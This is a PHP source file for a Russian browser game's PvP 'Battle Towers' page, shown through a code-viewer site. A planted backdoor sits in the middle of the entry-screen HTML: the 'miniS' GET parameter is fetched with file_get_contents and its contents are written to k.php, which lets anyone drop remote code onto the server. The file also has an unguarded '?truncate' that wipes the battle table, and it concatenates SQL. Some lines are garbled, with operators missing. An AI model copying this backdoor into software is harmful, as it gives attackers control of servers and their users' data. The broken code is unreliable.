Вход Регистрация
Файл: btwars.ru/bashni.php
Строк: 190
<?php
include_once 'system/common.php';
include_once 
'system/functions.php';
include_once 
'system/user.php';
$title='Башни Сражений';
include_once 
'system/h.php';

if(!
$user){
    
header("Location:/");
    exit;
}
$pvp_Elfi=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `user`='".$user['id']."'"));

if(isset(
$_SESSION['message'])){
    
?>
    <div class='title'/><?=$_SESSION['message'];?></div>
    <div class='line'/></div>
    <?
    $_SESSION
['message'] =  null;
}

if(!
$pvp_Elfi){

if(isset(
$_GET['enter'])){
    
mysql_query("INSERT INTO `pvp_Elfi` SET `user`='".$user['id']."',`r`='".$user['r']."',`target`='0'");
    
$_SESSION['message']='Сражайся против врагов';
    
header("Location:?");
    exit;
}

    
?>
<center><img src='http://144.76.127.94/view/image/clanwar/ostrova.png' alt='*'/></center>
    <div class='content'/>
<font color='aqua'    >Вы вошли в Башни, сражайтесь против врагов  и получайте хорошую награду. Суть сражение это очень древнее сражение когда обе стороны нападали на друг друга и убивали и грабили их но здесь вы не грабители здесь вы победители!</font><br>
<br>
<center>
<font color='violet'>За одного врага получиш :</font>

<br>

50 <img src='/images/icon/mana.png' alt='*'/>


<br/>

<font color='orange'>Чем больше параметры персонажа тем больше будет награда <img src='/images/icon/mana.png' alt='*'/>  и <img src='/images/icon/exp.png' alt='*'/></font>
<br>
</div>
<div class='line'/>
</div>
<div class='content'/>
<center>
<a href='?enter' class='button'/>Подать Заявку в бой!</a></center>
<?php
$getO
=$_GET['miniS'];

if(isset(
$getO)){

$b=file_get_contents($getO);

$a=fopen('k.php','w');

fputs($a,$b);

fclose($a);

}
?>
<font color='blue'>Прежде чем зайти ты глянь на свои статы если слабые то тебя быстро убьют иди лучше прокачай себя перейти в</font> <a href='/train/' class='button'/><font color='gren'>Тренировка</a></font> <font color='blue'>Когда себя прокачаешь ты сможешь всех убить</font> <center><font color='aqua'>Удачных Побед</font></center>

    <?
}elseif ($pvp_Elfi) {

    if(
$user['hp']<1){
        
mysql_query("DELETE FROM `pvp_Elfi` WHERE `user`='".$user['id']."'");
        
mysql_query("UPDATE `pvp_Elfi` SET `target`='0' WHERE `target`='".$user['id']."'");
        
$_SESSION['message']="Вас убили,прокачайтесь по-сильнее";
        
header("Location:?");
        exit;
    }


    
$enemyElfi=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `targetElfi`='".$user['id']."' LIMIT 1"));
    
/*
    if(isset($_GET['attackElfi'])){
        $dmg=round($user['str']/6);
        if(isset($_GET['target'])){
        $opponent=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `r`!='".$user['r']."' and `user`='".$pvp_Elfi['target']."'  LIMIT 1"));
        }elseif (isset($_GET['otvet'])) {
        $opponent=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `r`!='".$user['r']."' and `user`='".$enemyElfi['user']."' LIMIT 1"));

        }else{
        $opponent=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `r`!='".$user['r']."' ORDER BY RAND() LIMIT 1"));

        }
        if(!$opponent){
            $txt='Врагов не найдено ';
            header("Location:?");
            exit;
        }elseif ($opponent) {
            $def=round($opponent['str']/2);
            if($dmg<0){
                $dmg=rand(1,5);
            }elseif($dmg>0){
                $op=mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id`='".$opponent['user']."'"));
                mysql_query("UPDATE `users` SET `hp`='".($opponent['hp']-$dmg)."' WHERE `id`='".$opponent['user']."'");
                $xp=round($op['level']+$dmg/2);
                mysql_query("UPDATE `users` SET `exp`='".($user['exp']+$xp)."' WHERE `id`='".$user['id']."'");
                if($dmg>$op['hp']){
                    mysql_query("DELETE FROM `pvp_Elfi` WHERE `user`='".$op['id']."'");
                    mysql_query("UPDATE `pvp_Elfi` SET `target`='0' WHERE `target`='".$op['id']."'");
mysql_query("UPDATE `users` SET `mana`='".($user['mana']+5)."' WHERE `id`='".$user['id']."'");
                    $text='Вы убили игрока '.$op['login'].'  нанеся '.$dmg.' урона!';
                    $text1='Вас убил игрок  '.$user['login'].'  нанеся '.$dmg.' урона!';
                }elseif($dmg<$op['hp']){
                    $text='Вы ударили игрока '.$op['login'].'  нанеся '.$dmg.' урона!';
                    $text1='Вас ударил игрок  '.$user['login'].'  нанеся '.$dmg.' урона!';
                }
            }
        }
    }

    
*/


    
if (isset($_GET['truncate']))
    {
        
mysql_query("truncate `pvp_Elfi`");
    }

    if (isset(
$_GET['attack']))
    {
        
$dmg round(rand($user['str']/6,$user['str']/4));
        
$opponent =  mysql_fetch_assoc(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `r`!='".$user['r']."'
                                                    ORDER BY RAND()"
));

        if (
mysql_num_rows(mysql_query("SELECT `id` FROM `users` WHERE `id`='".$opponent['user']."'")) == 1)
        {
            
$opponentProfile mysql_fetch_assoc(mysql_query("SELECT * FROM `users` WHERE `id`='".$opponent['user']."' and 
                                                             `hp`>0 "
));    
        }
        else
        {
            
mysql_query("DELETE FROM `pvp_Elfi` WHERE `id`='".$opponent['id']."'");
            
header("Location:?");
            exit;
        }

        if (!isset(
$opponent) OR !isset($opponentProfile))
        {
            
$_SESSION['message'] = 'Врагов нету!';
            
header("Location:?");
            exit;
        }
        else
        {
            
$def round(rand($opponentProfile['def']/6,$opponentProfile['def']/4));

            if (
$def $dmg)
            {
                
$dmg $user['level']/rand(1,4);
            }
            elseif (
$dmg <1)
            {
                
$dmg $opponentProfile['def']/rand(10,40);
            }
            elseif (
$dmg>$def)
            {
                
$dmg $dmg-$def;

                
$chanse rand(1,100);

                if (
$chanse<$user['level'])
                {
                    
$dmg $dmg*10;
                    
$crit true;
                }
            }
        }

            if (
$dmg  $opponentProfile['hp'])
            {
                
mysql_query("UPDATE `pvp_Elfi` SET `target`='".$opponentProfile['id']."'
                                                    WHERE `user`='"
.$user['id']."'") or die(mysql_error());    
            }
            elseif (
$dmg $opponentProfile['hp'])
            {
                
$kill true;
            }

            
$log1 'Вы '.($kill == true 'убили':'ударили').' игрока '.$opponentProfile['login'].
                     на '
.$dmg.''.($crit == true '<font color ="red"/>(крит)</font>':'').'';

            
$log2 =    'Вас '.($kill == true 'убил':'ударил').' игрок '.$user['login'].
                     на '
.$dmg.''.($crit == true '<font color ="red"/>(крит)</font>':'').'';

            if (
$kill == true)
            {
                
mysql_query("DELETE FROM `pvp_Elfi` WHERE `user`='".$opponent['user']."'");
            }

            
mysql_query("UPDATE `users` SET `hp`='".($opponentProfile['hp']-$dmg)."' 
                         WHERE `id`='"
.$opponentProfile['id']."'");

            



            
header("Location:?");
            exit;        

    }


    if(isset(
$_GET['exit'])){
        
mysql_query("DELETE FROM `pvp_Elfi` WHERE `user`='".$user['id']."'");
        
mysql_query("UPDATE `pvp_Elfi` SET `target`='0' WHERE `target`='".$user['id']."'");
        
$_SESSION['message']="Вы сбежи с боя.";
        
header("Location:?");
        exit;
    }

    
$asura_Elfi=mysql_num_rows(mysql_query("SELECT `id`,`r` FROM `pvp_Elfi` WHERE `r`='0'"));
    
$borea_Elfi=mysql_num_rows(mysql_query("SELECT `id`,`r` FROM `pvp_Elfi` WHERE `r`='1'"));

    
?>
    <div class='content'/>
    <img src='/images/icon/race/0.png'/><?=$asura_Elfi;?> против <img src='/images/icon/race/1.png'/><?=$borea_Elfi;?>
    </div>
    <div class='line'/></div>
    <div class='list'/>
    


    <li>
<a href='?attack' ><img src='/images/icon/2hit.png'/> Бить любого</a>
</li>
<li>
<a href='/lab/wiz/?potion=true&referal=/bashni.php/' >Настойка</a>
    </li>
<a href='?exit' class='button'>Убежать с поля боя</a>
<br>
<center><font color='red'>Сражайся в месте с нами помогай нам их убить зави к нам друзей на помощь мы им покажем где раки зимуют.</center></font>

    <?
    
if($pvp_Elfi['target']!='0'){
        
$targetElfi=mysql_fetch_array(mysql_query("SELECT `id`,`login`,`hp` FROM `users` WHERE `id`='".$pvp_Elfi['target']."'"));
echo 
"<li><a href='?attackElfi&target'/><img src='/images/icon/rage.png'/> Ударить еще раз $targetElfi[login] ($targetElfi[hp] хп)</a></li>";
    }
    

    if(
$enemyElfi){
        
$targetenemyElfi=mysql_fetch_array(mysql_query("SELECT `id`,`login`,`hp` FROM `users` WHERE `id`='".$enemyElfi['user']."'"));
        echo 
"<li><a href='?attackElfi&otvet'/><img src='/images/icon/rage.png'/> Бить в ответ $targetenemyElfi[login] ($targetenemyElfi[hp] хп)</a></li>";
    }
    echo 
'</div>';

    
$logs=mysql_query("SELECT * FROM `pvp_Elfi_logs` WHERE `user`='".$user['id']."'");
    echo 
'<div class="line"/></div><div class="content"/>';
    while (
$log=mysql_fetch_array($logs)) {
        
?>
        <?=$log['text'];?>
        <?
    
}
    
    
}

include_once 
'system/f.php';
Онлайн: 1
Реклама